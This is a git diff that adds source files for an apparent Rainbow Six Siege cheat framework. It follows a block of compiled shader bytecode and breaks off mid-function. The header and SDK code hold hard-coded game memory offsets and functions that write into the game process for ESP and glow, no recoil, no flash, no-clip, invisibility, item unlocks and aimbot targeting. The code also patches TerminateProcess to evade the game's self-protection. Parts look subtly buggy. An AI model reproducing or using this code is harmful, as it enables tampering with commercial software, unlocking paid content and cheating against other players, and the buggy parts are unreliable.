NONE float xyzw +// TEXCOORD 0 xy 2 NONE float xy +// +// +// Constant buffer to DX9 shader constant mappings: +// +// Target Reg Buffer Start Reg # of Regs Data Conversion +// ---------- ------- --------- --------- ---------------------- +// c1 cb0 0 4 ( FLT, FLT, FLT, FLT) +// +// +// Runtime generated constant mappings: +// +// Target Reg Constant Description +// ---------- -------------------------------------------------- +// c0 Vertex Shader position offset +// +// +// Level9 shader bytecode: +// + vs_2_0 + def c5, 0, 1, 0, 0 + dcl_texcoord v0 + dcl_texcoord1 v1 + dcl_texcoord2 v2 + mul r0, v0.x, c1 + mad r0, c2, v0.y, r0 + mov r1.xy, c5 + mad r0, c3, r1.x, r0 + mad r0, c4, r1.y, r0 + mul r1.xy, r0.w, c0 + add oPos.xy, r0, r1 + mov oPos.zw, r0 + mov oT0, v1 + mov oT1.xy, v2 + +// approximately 10 instruction slots used +// +// Constant buffer to DX9 shader constant mappings: +// +// Target Reg Buffer Start Reg # of Regs Data Conversion +// ---------- ------- --------- --------- ---------------------- +// c0 cb0 0 4 ( FLT, FLT, FLT, FLT) +// +// +// XNA Prepass shader bytecode: +// + vs_2_0 + def c4, 0, 1, 0, 0 + dcl_texcoord v0 + mul r1, r0.x, c0 + mad r0, c1, r0.y, r1 + mov r1.xy, c4 + mad r0, c2, r1.x, r0 + mad r0, c3, r1.y, r0 + mov oPos, r0 + +// approximately 6 instruction slots used +// +// Constant buffer to DX9 shader constant mappings: +// +// Target Reg Buffer Start Reg # of Regs Data Conversion +// ---------- ------- --------- --------- ---------------------- +// c0 cb0 0 4 ( FLT, FLT, FLT, FLT) +// +// +// XNA shader bytecode: +// + vs_2_0 + def c4, 0, 1, 0, 0 + dcl_texcoord v0 + dcl_texcoord1 v1 + dcl_texcoord2 v2 + mov oT0, r1 + mov oT1.xy, r2 + mul r1, r0.x, c0 + mad r0, c1, r0.y, r1 + mov r1.xy, c4 + mad r0, c2, r1.x, r0 + mad r0, c3, r1.y, r0 + mov oPos, r0 + +// approximately 8 instruction slots used +vs_4_0 +dcl_constantbuffer cb0[4], immediateIndexed +dcl_input v0.xy +dcl_input v1.xyzw +dcl_input v2.xy +dcl_output_siv o0.xyzw, position +dcl_output o1.xyzw +dcl_output o2.xy +dcl_temps 1 +mul r0.xyzw, v0.xxxx, cb0[0].xyzw +mad r0.xyzw, cb0[1].xyzw, v0.yyyy, r0.xyzw +mad r0.xyzw, cb0[2].xyzw, l(0.000000, 0.000000, 0.000000, 0.000000), r0.xyzw +mad o0.xyzw, cb0[3].xyzw, l(1.000000, 1.000000, 1.000000, 1.000000), r0.xyzw +mov o1.xyzw, v1.xyzw +mov o2.xy, v2.xyxx +ret +// Approximately 0 instruction slots used +#endif + +const BYTE nk_d3d11_vertex_shader[] = +{ + 68, 88, 66, 67, 215, 245, + 86, 155, 188, 117, 37, 118, + 193, 207, 209, 90, 160, 153, + 246, 188, 1, 0, 0, 0, + 72, 5, 0, 0, 6, 0, + 0, 0, 56, 0, 0, 0, + 48, 1, 0, 0, 248, 1, + 0, 0, 20, 3, 0, 0, + 100, 4, 0, 0, 212, 4, + 0, 0, 88, 78, 65, 83, + 240, 0, 0, 0, 240, 0, + 0, 0, 0, 2, 254, 255, + 192, 0, 0, 0, 48, 0, + 0, 0, 1, 0, 36, 0, + 0, 0, 48, 0, 0, 0, + 48, 0, 0, 0, 36, 0, + 0, 0, 48, 0, 0, 0, + 0, 0, 4, 0, 0, 0, + 0, 0, 0, 0, 0, 2, + 254, 255, 81, 0, 0, 5, + 4, 0, 15, 160, 0, 0, + 0, 0, 0, 0, 128, 63, + 0, 0, 0, 0, 0, 0, + 0, 0, 31, 0, 0, 2, + 5, 0, 0, 128, 0, 0, + 15, 144, 31, 0, 0, 2, + 5, 0, 1, 128, 1, 0, + 15, 144, 31, 0, 0, 2, + 5, 0, 2, 128, 2, 0, + 15, 144, 1, 0, 0, 2, + 0, 0, 15, 224, 1, 0, + 228, 128, 1, 0, 0, 2, + 1, 0, 3, 224, 2, 0, + 228, 128, 5, 0, 0, 3, + 1, 0, 15, 128, 0, 0, + 0, 128, 0, 0, 228, 160, + 4, 0, 0, 4, 0, 0, + 15, 128, 1, 0, 228, 160, + 0, 0, 85, 128, 1, 0, + 228, 128, 1, 0, 0, 2, + 1, 0, 3, 128, 4, 0, + 228, 160, 4, 0, 0, 4, + 0, 0, 15, 128, 2, 0, + 228, 160, 1, 0, 0, 128, + 0, 0, 228, 128, 4, 0, + 0, 4, 0, 0, 15, 128, + 3, 0, 228, 160, 1, 0, + 85, 128, 0, 0, 228, 128, + 1, 0, 0, 2, 0, 0, + 15, 192, 0, 0, 228, 128, + 255, 255, 0, 0, 88, 78, + 65, 80, 192, 0, 0, 0, + 192, 0, 0, 0, 0, 2, + 254, 255, 144, 0, 0, 0, + 48, 0, 0, 0, 1, 0, + 36, 0, 0, 0, 48, 0, + 0, 0, 48, 0, 0, 0, + 36, 0, 0, 0, 48, 0, + 0, 0, 0, 0, 4, 0, + 0, 0, 0, 0, 0, 0, + 0, 2, 254, 255, 81, 0, + 0, 5, 4, 0, 15, 160, + 0, 0, 0, 0, 0, 0, + 128, 63, 0, 0, 0, 0, + 0, 0, 0, 0, 31, 0, + 0, 2, 5, 0, 0, 128, + 0, 0, 15, 144, 5, 0, + 0, 3, 1, 0, 15, 128, + 0, 0, 0, 128, 0, 0, + 228, 160, 4, 0, 0, 4, + 0, 0, 15, 128, 1, 0, + 228, 160, 0, 0, 85, 128, + 1, 0, 228, 128, 1, 0, + 0, 2, 1, 0, 3, 128, + 4, 0, 228, 160, 4, 0, + 0, 4, 0, 0, 15, 128, + 2, 0, 228, 160, 1, 0, + 0, 128, 0, 0, 228, 128, + 4, 0, 0, 4, 0, 0, + 15, 128, 3, 0, 228, 160, + 1, 0, 85, 128, 0, 0, + 228, 128, 1, 0, 0, 2, + 0, 0, 15, 192, 0, 0, + 228, 128, 255, 255, 0, 0, + 65, 111, 110, 57, 20, 1, + 0, 0, 20, 1, 0, 0, + 0, 2, 254, 255, 224, 0, + 0, 0, 52, 0, 0, 0, + 1, 0, 36, 0, 0, 0, + 48, 0, 0, 0, 48, 0, + 0, 0, 36, 0, 1, 0, + 48, 0, 0, 0, 0, 0, + 4, 0, 1, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + 0, 2, 254, 255, 81, 0, + 0, 5, 5, 0, 15, 160, + 0, 0, 0, 0, 0, 0, + 128, 63, 0, 0, 0, 0, + 0, 0, 0, 0, 31, 0, + 0, 2, 5, 0, 0, 128, + 0, 0, 15, 144, 31, 0, + 0, 2, 5, 0, 1, 128, + 1, 0, 15, 144, 31, 0, + 0, 2, 5, 0, 2, 128, + 2, 0, 15, 144, 5, 0, + 0, 3, 0, 0, 15, 128, + 0, 0, 0, 144, 1, 0, + 228, 160, 4, 0, 0, 4, + 0, 0, 15, 128, 2, 0, + 228, 160, 0, 0, 85, 144, + 0, 0, 228, 128, 1, 0, + 0, 2, 1, 0, 3, 128, + 5, 0, 228, 160, 4, 0, + 0, 4, 0, 0, 15, 128, + 3, 0, 228, 160, 1, 0, + 0, 128, 0, 0, 228, 128, + 4, 0, 0, 4, 0, 0, + 15, 128, 4, 0, 228, 160, + 1, 0, 85, 128, 0, 0, + 228, 128, 5, 0, 0, 3, + 1, 0, 3, 128, 0, 0, + 255, 128, 0, 0, 228, 160, + 2, 0, 0, 3, 0, 0, + 3, 192, 0, 0, 228, 128, + 1, 0, 228, 128, 1, 0, + 0, 2, 0, 0, 12, 192, + 0, 0, 228, 128, 1, 0, + 0, 2, 0, 0, 15, 224, + 1, 0, 228, 144, 1, 0, + 0, 2, 1, 0, 3, 224, + 2, 0, 228, 144, 255, 255, + 0, 0, 83, 72, 68, 82, + 72, 1, 0, 0, 64, 0, + 1, 0, 82, 0, 0, 0, + 89, 0, 0, 4, 70, 142, + 32, 0, 0, 0, 0, 0, + 4, 0, 0, 0, 95, 0, + 0, 3, 50, 16, 16, 0, + 0, 0, 0, 0, 95, 0, + 0, 3, 242, 16, 16, 0, + 1, 0, 0, 0, 95, 0, + 0, 3, 50, 16, 16, 0, + 2, 0, 0, 0, 103, 0, + 0, 4, 242, 32, 16, 0, + 0, 0, 0, 0, 1, 0, + 0, 0, 101, 0, 0, 3, + 242, 32, 16, 0, 1, 0, + 0, 0, 101, 0, 0, 3, + 50, 32, 16, 0, 2, 0, + 0, 0, 104, 0, 0, 2, + 1, 0, 0, 0, 56, 0, + 0, 8, 242, 0, 16, 0, + 0, 0, 0, 0, 6, 16, + 16, 0, 0, 0, 0, 0, + 70, 142, 32, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + 50, 0, 0, 10, 242, 0, + 16, 0, 0, 0, 0, 0, + 70, 142, 32, 0, 0, 0, + 0, 0, 1, 0, 0, 0, + 86, 21, 16, 0, 0, 0, + 0, 0, 70, 14, 16, 0, + 0, 0, 0, 0, 50, 0, + 0, 13, 242, 0, 16, 0, + 0, 0, 0, 0, 70, 142, + 32, 0, 0, 0, 0, 0, + 2, 0, 0, 0, 2, 64, + 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + 70, 14, 16, 0, 0, 0, + 0, 0, 50, 0, 0, 13, + 242, 32, 16, 0, 0, 0, + 0, 0, 70, 142, 32, 0, + 0, 0, 0, 0, 3, 0, + 0, 0, 2, 64, 0, 0, + 0, 0, 128, 63, 0, 0, + 128, 63, 0, 0, 128, 63, + 0, 0, 128, 63, 70, 14, + 16, 0, 0, 0, 0, 0, + 54, 0, 0, 5, 242, 32, + 16, 0, 1, 0, 0, 0, + 70, 30, 16, 0, 1, 0, + 0, 0, 54, 0, 0, 5, + 50, 32, 16, 0, 2, 0, + 0, 0, 70, 16, 16, 0, + 2, 0, 0, 0, 62, 0, + 0, 1, 73, 83, 71, 78, + 104, 0, 0, 0, 3, 0, + 0, 0, 8, 0, 0, 0, + 80, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + 3, 0, 0, 0, 0, 0, + 0, 0, 3, 3, 0, 0, + 89, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + 3, 0, 0, 0, 1, 0, + 0, 0, 15, 15, 0, 0, + 95, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + 3, 0, 0, 0, 2, 0, + 0, 0, 3, 3, 0, 0, + 80, 79, 83, 73, 84, 73, + 79, 78, 0, 67, 79, 76, + 79, 82, 0, 84, 69, 88, + 67, 79, 79, 82, 68, 0, + 79, 83, 71, 78, 108, 0, + 0, 0, 3, 0, 0, 0, + 8, 0, 0, 0, 80, 0, + 0, 0, 0, 0, 0, 0, + 1, 0, 0, 0, 3, 0, + 0, 0, 0, 0, 0, 0, + 15, 0, 0, 0, 92, 0, + 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 3, 0, + 0, 0, 1, 0, 0, 0, + 15, 0, 0, 0, 98, 0, + 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 3, 0, + 0, 0, 2, 0, 0, 0, + 3, 12, 0, 0, 83, 86, + 95, 80, 79, 83, 73, 84, + 73, 79, 78, 0, 67, 79, + 76, 79, 82, 0, 84, 69, + 88, 67, 79, 79, 82, 68, + 0, 171 +}; diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/offsets.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/offsets.h" new file mode 100644 index 0000000..b686649 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/offsets.h" @@ -0,0 +1,59 @@ +#pragma once +#define OFFSET_GAME_MANAGER 0x51cb748 +#define OFFSET_GLOW_MANAGER 0x5E3F4E8 +#define OFFSET_STATUS_MANAGER 0x51cb6e0 +#define OFFSET_NETWORK_MANAGER 0x51b8958 +#define OFFSET_GAME_Renderer 0x51b8988 +#define OFFSET_PLAYER_MANAGER 0x51B87B0 +#define OFFSET_ROUNDMANAGER 0x51b8820 +#define OFFSET_PROFILE_MANAGER 0x51b87b0 +#define OFFSET_FOVMANAGER 0x51cb730 + +#define OFFSET_UNLOCKS 0x132F4C5 + +#define OFFSET_GAME_MANAGER_ENTITY_COUNT 0x1D0 +#define OFFSET_GAME_MANAGER_ENTITY_LIST 0x1C8 +#define OFFSET_STATUS_MANAGER_LOCALENTITY 0x28 +#define OFFSET_STATUS_MANAGER_CONTAINER 0x370 + +#define OFFSET_ENTITY_PAWN 0x20 +#define OFFSET_MAINCOMPONENT_ESPCHAIN 0x78 +#define OFFSET_ESPCHAIN_WRITE1 0x532 +#define OFFSET_ESPCHAIN_WRITE2 0x534 + +#define OFFSET_ESPCHAIN_CHECK 0x531 + +#define OFFSET_ENTITY_REPLICATION 0xA8 +#define OFFSET_ENTITY_REPLICATION_TEAM 0x19E + +#define OFFSET_CAMERA_MANAGER 0x51A6168 +#define OFFSET_CAMERA_ENGINELINK 0x120 +#define OFFSET_CAMERA_ENGINE 0x1D8 +#define OFFSET_CAMERA_ENGINE_CAMERA 0x08 + +#define OFFSET_CAMERA_VIEWFOVY 0x124 +#define OFFSET_CAMERA_VIEWFOVX 0x110 +#define OFFSET_CAMERA_VIEWFORWARD 0xF0 +#define OFFSET_CAMERA_VIEWUP 0xE0 +#define OFFSET_CAMERA_VIEWRIGHT 0xD0 +#define OFFSET_CAMERA_VIEWTRANSLATION 0x100 + +#define OFFSET_ENTITY_HEAD 0x180 +#define OFFSET_ENTITY_FEET 0x1D0 + +#define OFFSET_ENTITY_SKELETON 0x20 +#define OFFSET_SKELETON_POSITION 0x6c0 +#define OFFSET_SKELETON_HEADPOSITION 0x660 +#define OFFSET_ENTITYPAWN_FEET 0x6c0 + +#define OFFSET_ENTITY_COMPONENT 0xD8 +#define OFFSET_ENTITY_COMPONENT_LIST 0x8 +#define ENTITY_MARKER_VT_OFFSET 0x37BBA90 +#define ENTITY_MARKER_ENABLED_OFFSET 0x530 + +#define OFFSET_TRIGGERBOT 0x51CB748 +#define OFFSET_TRIGGERBOT1 0x50 +#define OFFSET_TRIGGERBOT2 0x80 +#define OFFSET_TRIGGERBOT3 0x58 +#define OFFSET_TRIGGERBOT4 0x418 +#define OFFSET_TRIGGERBOT5 0x304 \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/sdk.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/sdk.h" new file mode 100644 index 0000000..e4fdfaa --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/sdk.h" @@ -0,0 +1,798 @@ +#pragma once +#include "imports.h" + +namespace globals { + bool aimtab = true; + bool visualtab = false; + bool misctab = false; + + bool esp = false; + bool clip = false; + bool recoil = false; + bool spread = false; + bool damage = false; + bool fov = false; + bool aimbot = false; + bool silent = false; + bool glow = false; + bool flash = false; + bool impact = false; + bool unlock = false; + bool invisible = false; + + bool debug = false; + + float aimbotfov = 30.0f; + float spreadmultiplier = 0.0f; + float recoilmultiplier = 0.0f; + int damagemultiplier = 0.0f; + float customfov = 90.0f; + float fovW = 0.900f; + float fovP = 1.550f; + + uint64_t window_width = 300; + uint64_t window_height = 425; + + static IDXGISwapChain* swap_chain; + static ID3D11Device* device; + static ID3D11DeviceContext* context; + static ID3D11RenderTargetView* rt_view; +} + +namespace offsets { + // game manager + constexpr uintptr_t game_manager = 0x51cb748; + constexpr uintptr_t entity_count = 0x1d0; + constexpr uintptr_t entity_list = 0x1c8; + + constexpr uintptr_t entity_component = 0xd8; + constexpr uintptr_t entity_component_list = 0x8; + constexpr uintptr_t entity_marker_vt_offset = 0x37bba90; + constexpr uintptr_t entity_marker_enabled_offset = 0x530; + + constexpr uintptr_t offset_entity_head = 0x180; + constexpr uintptr_t offset_entity_feet = 0x1d0; + + constexpr uintptr_t offset_entity_skeleton = 0x20; + constexpr uintptr_t offset_skeleton_position = 0x6c0; + constexpr uintptr_t offset_skeleton_headposition = 0x660; + constexpr uintptr_t offset_entitypawn_feet = 0x6c0; + + constexpr uintptr_t entity_health = 0x140; + constexpr uintptr_t entity_head = 0x660; + constexpr uintptr_t entity_pelvis = 0xfa0; + constexpr uintptr_t entity_feet = 0x6c0; + constexpr uintptr_t entity_rhand = 0x680; + + constexpr uintptr_t entity_replication = 0xa8; + constexpr uintptr_t entity_replication_team = 0x19e; + constexpr uintptr_t entity_replication_name = 0x1c8; + + constexpr uintptr_t offset_entity_pawn = 0x20; + constexpr uintptr_t offset_maincomponent_espchain = 0x78; + constexpr uintptr_t offset_espchain_write1 = 0x532; + constexpr uintptr_t offset_espchain_write2 = 0x534; + + constexpr uintptr_t offset_espchain_check = 0x531; + + // renderer manager + constexpr uintptr_t renderer_manager = 0x51b8988; + constexpr uintptr_t game_renderer_deref = 0x0; + + // status manager + constexpr uintptr_t status_manager = 0x51cb6e0; + constexpr uintptr_t status_manager_container = 0x68; + constexpr uintptr_t status_manager_localentity = 0x28; + + constexpr uintptr_t offset_status_manager_localentity = 0x28; + constexpr uintptr_t offset_status_manager_container = 0x370; + + // camera manager + constexpr uintptr_t camera_manager = 0x51a6168; + constexpr uintptr_t camera_enginelink = 0x120; + constexpr uintptr_t camera_engine = 0x1d8; + constexpr uintptr_t camera_engine_camera = 0x08; + + constexpr uintptr_t camera_right = 0xd0; + constexpr uintptr_t camera_up = 0xe0; + constexpr uintptr_t camera_forward = 0xf0; + constexpr uintptr_t camera_translation = 0x100; + constexpr uintptr_t camera_fovx = 0x110; + constexpr uintptr_t camera_fovy = 0x124; + + // network manager + constexpr uintptr_t network_manager = 0x51b8958; + + // glow manager + constexpr uintptr_t glow_manager = 0x5e3f4e8; + + // profile manager, interface manager, player manager + constexpr uintptr_t profile_manager = 0x51b87b0; + + // fov manager + constexpr uintptr_t fov_manager = 0x51cb730; + + // spoof specate manager + constexpr uintptr_t spoof_spectate = 0x51b8840; + + // round manager + constexpr uintptr_t round_manager = 0x51b8820; + + // unlocks manager + constexpr uintptr_t unlocks_manager = 0x132f4c5; + + // trigger manager + constexpr uintptr_t trigger_manager = 0x51cb748; + constexpr uintptr_t trigger_1 = 0x50; + constexpr uintptr_t trigger_2 = 0x80; + constexpr uintptr_t trigger_3 = 0x58; + constexpr uintptr_t trigger_4 = 0x418; + constexpr uintptr_t trigger_5 = 0x304; +} + +class RainbowSix { +public: + uintptr_t base_address; + + RainbowSix() { + process_id = get_process_id("RainbowSix.exe"); + base_address = get_module_base_address("RainbowSix.exe"); + } + + bool enemy_entities(std::vector& players) { + unsigned short local_team = entity_team(local_entity()); + std::cout << "[+] Local team: " << local_team << std::endl; + unsigned int count = entity_team(base_address); + std::cout << "[+] count: " << count << std::endl; + + if (count > 255) + return false; + + for (unsigned int i = 0; i < count; i++) + { + uintptr_t target_player = entity_id(i); + + if (!target_player) + continue; + + const auto lentity = local_entity(); + + if (!lentity) + continue; + + if (target_player == lentity) + continue; + + if (entity_team(target_player) == local_team) + continue; + + players.push_back(target_player); + } + + return true; + } + + uintptr_t entity_id(unsigned int id) { + uintptr_t game_manager = Read(base_address + offsets::game_manager); + if (!game_manager) + return NULL; + + uintptr_t entity_list = Read(game_manager + offsets::entity_list); + if (!entity_list) + return NULL; + + uintptr_t entity = Read(entity_list + (sizeof(PVOID) * id)); + if (!entity) + return NULL; + + return entity; + } + + std::uint8_t entity_team(uintptr_t entity) { + + if (!entity) + return 0xFF; + + uintptr_t replication = Read(entity + offsets::entity_replication); + std::cout << "replication " << replication << std::endl; + if (!replication) { + return 0xFF; + } + + unsigned long online_team_id = Read(replication + offsets::entity_replication_team); + std::cout << "online_team_id " << online_team_id << std::endl; + if (!online_team_id) { + return 0xFF; + } + + return online_team_id; + } + + uintptr_t local_entity() { + + uintptr_t status_manager = Read(base_address + offsets::status_manager); + + if (!status_manager) + return 0; + + uintptr_t entity_container = Read(status_manager + offsets::status_manager_container); + + if (!entity_container) + return 0; + + entity_container = Read(entity_container); + if (!entity_container) + return 0; + + entity_container = Read(entity_container + offsets::offset_status_manager_localentity); + + if (!entity_container) + return 0; + + return entity_container; + } + + unsigned long entity_count() { + uintptr_t game_manager = Read(base_address + offsets::game_manager); + if (!game_manager) + return NULL; + + return Read(game_manager + offsets::entity_count) & 0x3fffffff; + } + + bool glow() { + if (globals::glow) + { + uint64_t glowmanager = Read(base_address + offsets::glow_manager); + + uint64_t glowmanager1 = Read(glowmanager + 0xB8); + + if (!glowmanager) + return false; + if (!glowmanager1) + return false; + + if (globals::glow) { + std::random_device seeder; + std::ranlux48 gen(seeder()); + std::uniform_int_distribution uniform_0_255(0, 255); + + Write(glowmanager1 + 0x110, uniform_0_255(gen)); // red + Write(glowmanager1 + 0x114, uniform_0_255(gen)); // green + Write(glowmanager1 + 0x118, uniform_0_255(gen)); // blue + Write(glowmanager1 + 0x13C, 3); // opcacity. + Write(glowmanager1 + 0x130, 0); // dist. + Write(glowmanager1 + 0x130 + 0x4, 0); // dist. + } + else { + Write(glowmanager1 + 0x110, 0); // red + Write(glowmanager1 + 0x114, 0); // green + Write(glowmanager1 + 0x118, 0); // blue + Write(glowmanager1 + 0x13C, 0); // opcacity. + Write(glowmanager1 + 0x130, 0); // dist. + Write(glowmanager1 + 0x130 + 0x4, 0); // dist. + } + } + return true; + } + + bool patch_terminate() + { + HMODULE module = GetModuleHandle(("kernelbase.dll")); + + if (!module) + return false; + + uint64_t r6_module = get_module_base_address("kernelbase.dll"); + + if (!r6_module) + return false; + + uint64_t api = reinterpret_cast(GetProcAddress(module, ("TerminateProcess"))) - reinterpret_cast(module) + r6_module; + + printf("[+] Cheeto Threads: %llx\n", api); + + if (change_protection(process_id, api, PAGE_EXECUTE_READWRITE, 0x64) == 0) + { + uint8_t ret_stub[] = { 0xC3, 0x90, 0x90, 0x90 }; + + WriteVirtualMemoryRaw(api, reinterpret_cast(ret_stub), sizeof(ret_stub)); + change_protection(process_id, api, PAGE_EXECUTE_READ, 0x64); + } + + return true; + } + + bool all_unlocks() + { + if (globals::unlock) { + /* uint64_t instruction = this->base_address + OFFSET_UNLOCKS; + uint8_t operand = Read( instruction + 3 ); + + if ( change_protection( PID, instruction, PAGE_EXECUTE_READWRITE, 0x64 ) == 0 ) + { + uint8_t unlocks_on[] = { 0xC6, 0x47, 0x38, 0x00 }; + uint8_t unlocks_off[] = { 0xC6, 0x47, 0x38, 0x01 }; + + if ( enabled ) + WriteVirtualMemoryRaw( instruction, reinterpret_cast( unlocks_on ), sizeof( unlocks_on ) ); + else + WriteVirtualMemoryRaw( instruction, reinterpret_cast( unlocks_off ), sizeof( unlocks_off ) ); + + change_protection( PID, instruction, PAGE_EXECUTE_READ, 0x64 ); + }*/ + + auto instruction = this->base_address + globals::unlock; + + if (change_protection(process_id, instruction, PAGE_EXECUTE_READWRITE, 4) == 0) + { + Write(instruction + 3, globals::unlock ? 0 : 1); + + change_protection(process_id, instruction, PAGE_EXECUTE_READ, 4); + } + } + return true; + } + + void invisible() + { + if (globals::invisible) { + auto profile_manager = Read(this->base_address + offsets::profile_manager); + + if (!profile_manager) + return; + + auto entity_list = Read(Read(profile_manager + 0x68)); + + if (!entity_list) + return; + + auto operator_list = Read(entity_list + 0x2d0); + + if (!operator_list) + return; + + for (auto i = 0; i < 100; i++) + { + auto coperator = Read(operator_list + (i * 8)); + + if (!coperator) + continue; + + auto headgear = Read(coperator + 0x68); + + if (!headgear) + continue; + + Write(coperator + 0x98, headgear); + } + } + } + + bool esp() + { + if (globals::esp) { + uintptr_t game_manager = Read(base_address + offsets::game_manager); + if (!game_manager) + return NULL; + + uintptr_t entity_list = Read(game_manager + offsets::entity_list); + int entity_count = Read(game_manager + offsets::entity_count) & 0x3fffffff; + if (entity_count == NULL) return false; + + for (int i = 0; i < entity_count; i++) + { + uintptr_t entity_object = Read(entity_list + i * 0x8); + + uintptr_t addr2 = Read(entity_object + 0x28); + if (addr2 == NULL) continue; + uintptr_t addr3 = Read(addr2 + 0xD8); + if (addr3 == NULL) continue; + + for (auto current_component = 0x80; current_component < 0xf0; current_component += sizeof(std::uintptr_t)) + { + uintptr_t addr4 = Read(addr3 + current_component); + if (addr4 == NULL) continue; + + if (Read(addr4) != (base_address + offsets::entity_marker_vt_offset)) //vt marker + continue; + + Write(addr4 + 0x532, globals::esp); + Write(addr4 + 0x534, globals::esp); + } + } + } + } + + bool fov() + { + if (globals::fov) { + uint64_t OFFSET_FOV = Read(base_address + offsets::fov_manager); + + if (!OFFSET_FOV) + return false; + + uint64_t weapon_fov = Read(OFFSET_FOV + 0x28); + uint64_t class1_unknown = Read(weapon_fov + 0x0); + + Write(class1_unknown + 0x3C, globals::fovW); + Write(class1_unknown + 0x38, globals::fovP); + } + } + + bool outline() + { + uint64_t outline = Read(base_address + 0x50660B0); + + if (!outline) + return false; + + uint64_t teamo = Read(outline + 0x88); + uint64_t teamou = Read(teamo + 0x38); + uint64_t teamout = Read(teamou + 0x68); + + Write(teamout + 0x20, 5); + + return true; + } + + bool no_recoil() + { + if (globals::recoil) { + uintptr_t LpVisualCompUnk = Read(local_entity() + 0x78); + + if (!LpVisualCompUnk) + return false; + + uintptr_t LpWeapon = Read(LpVisualCompUnk + 0xC8); + + if (!LpWeapon) + return false; + + uintptr_t LpCurrentDisplayWeapon = Read(LpWeapon + 0x208); + + if (!LpCurrentDisplayWeapon) + return false; + + float recoilNumberOne; + float recoilNumberTwo; + + if (globals::recoil == true) { + recoilNumberOne = Read(LpCurrentDisplayWeapon + 0x50); //spread + recoilNumberTwo = Read(LpCurrentDisplayWeapon + 0xB0); //recoil + + Write(LpCurrentDisplayWeapon + 0x50, 0.0f); //spread + Write(LpCurrentDisplayWeapon + 0xB0, 0.0f); //recoil + } + else { + + Write(LpCurrentDisplayWeapon + 0x50, recoilNumberOne); //spread + Write(LpCurrentDisplayWeapon + 0xB0, recoilNumberTwo); //recoil + } + } + return true; + } + + bool no_flash() { + if (globals::flash) { + uint8_t Activate = 0; + uintptr_t lpEventManager = Read(local_entity() + 0x30); + uintptr_t lpFxArray = Read(lpEventManager + 0x30); + const UINT uStunIndex = 5; + uintptr_t lpFxStun = Read(lpFxArray + (uStunIndex * sizeof(PVOID))); + Write(lpFxStun + 0x40, Activate); + } + return true; + } + + void no_clip() { + if (globals::clip) { + uintptr_t networkManager = Read(base_address + offsets::network_manager); //network M + uintptr_t noclipPtr = Read(networkManager + 0xF8); + + noclipPtr = Read(noclipPtr + 0x8); //no clip 2 + + noclipPtr += 0x530; //no clip 3 + + Vector3 emptyVector = Vector3(0, 0, 0); + Vector3 defaultVector = Vector3(0.0001788139343f, 0.0001788139343f, 0.03051757626f); + + Write(noclipPtr, (globals::clip ? emptyVector : defaultVector)); + } + } + + uintptr_t get_closest_enemy() + { + const auto getViewangle = [](std::uintptr_t entity) + { + auto r1 = Read(entity + 0x20); + auto r2 = Read(r1 + 0x1170); + return Read(r2 + 0xc0); + }; + + std::uintptr_t resultant_entity = 0; + static auto resultant_fov = 360.f; + + for (auto i = 0ul; i < this->entity_count(); i++) + { + const auto entity = this->entity_id(i); + + const auto health = this->entity_health(entity); + + if (health <= 0 || health > 200) + continue; + + const auto lentity = local_entity(); + + if (this->entity_team(lentity) == this->entity_team(entity)) + continue; + + const auto fov_result = closest_to_fov(this->entity_head(lentity), this->entity_head(entity), calculate_euler(getViewangle(lentity))); + + if (fov_result < resultant_fov) + { + resultant_fov = fov_result; + resultant_entity = entity; + } + } + + return resultant_entity; + } + + uintptr_t get_closest_enemy_to_local_head() { + uintptr_t game_manager = Read(base_address + offsets::game_manager); + if (!game_manager) + return NULL; + + int num = Read(game_manager + 0x1D0); + + Vector3 CurrentViewAngles = entity_head(local_entity()); + uintptr_t entity_object; + float bestDelta = FLT_MAX; + uintptr_t BestEntity; + uint64_t EntList = Read(game_manager + 0x1C8); + + for (int i = 0; i < num; i++) { + entity_object = Read(EntList + i * 0x8); + + Vector3 angles = calc_angle(entity_head(local_entity()), entity_head(entity_object)); + + (angles - CurrentViewAngles).clamp(); + + float Delta = angles.y; + + if (Delta < bestDelta && local_entity() != entity_object) { + bestDelta = Delta; + BestEntity = entity_object; + return BestEntity; + } + } + } + + Vector3 entity_feet(uintptr_t entity) { + uint64_t addr1 = Read(entity + offsets::offset_entity_pawn); + return Read(addr1 + offsets::offset_entitypawn_feet); + } + + Vector3 entity_head(uintptr_t player) + { + uint64_t pSkeleton = Read(player + 0x20); + + if (!pSkeleton) + return Vector3(); + + return Read(pSkeleton + offsets::offset_skeleton_headposition); // Ox6A0 + } + + bool world_to_screen(Vector3 position, Vector2* screen) + { + uintptr_t camera_manager = Read(base_address + offsets::camera_manager); + if (!camera_manager) + return false; + + Vector3 temp = position - view_translation(); + + float x = temp.Dot(view_right()); + float y = temp.Dot(view_up()); + float z = temp.Dot(view_forward() * -1.f); + + RECT desktop; + const HWND hDesktop = GetDesktopWindow(); + GetWindowRect(hDesktop, &desktop); + int horizontal = desktop.right; + int vertical = desktop.bottom; + + screen->x = (horizontal / 2.f) * (1.f + x / view_fovx() / z); + screen->y = (vertical / 2.f) * (1.f - y / view_fovy() / z); + + return z >= 1.0f ? true : false; + } + + Vector3 view_translation() + { + 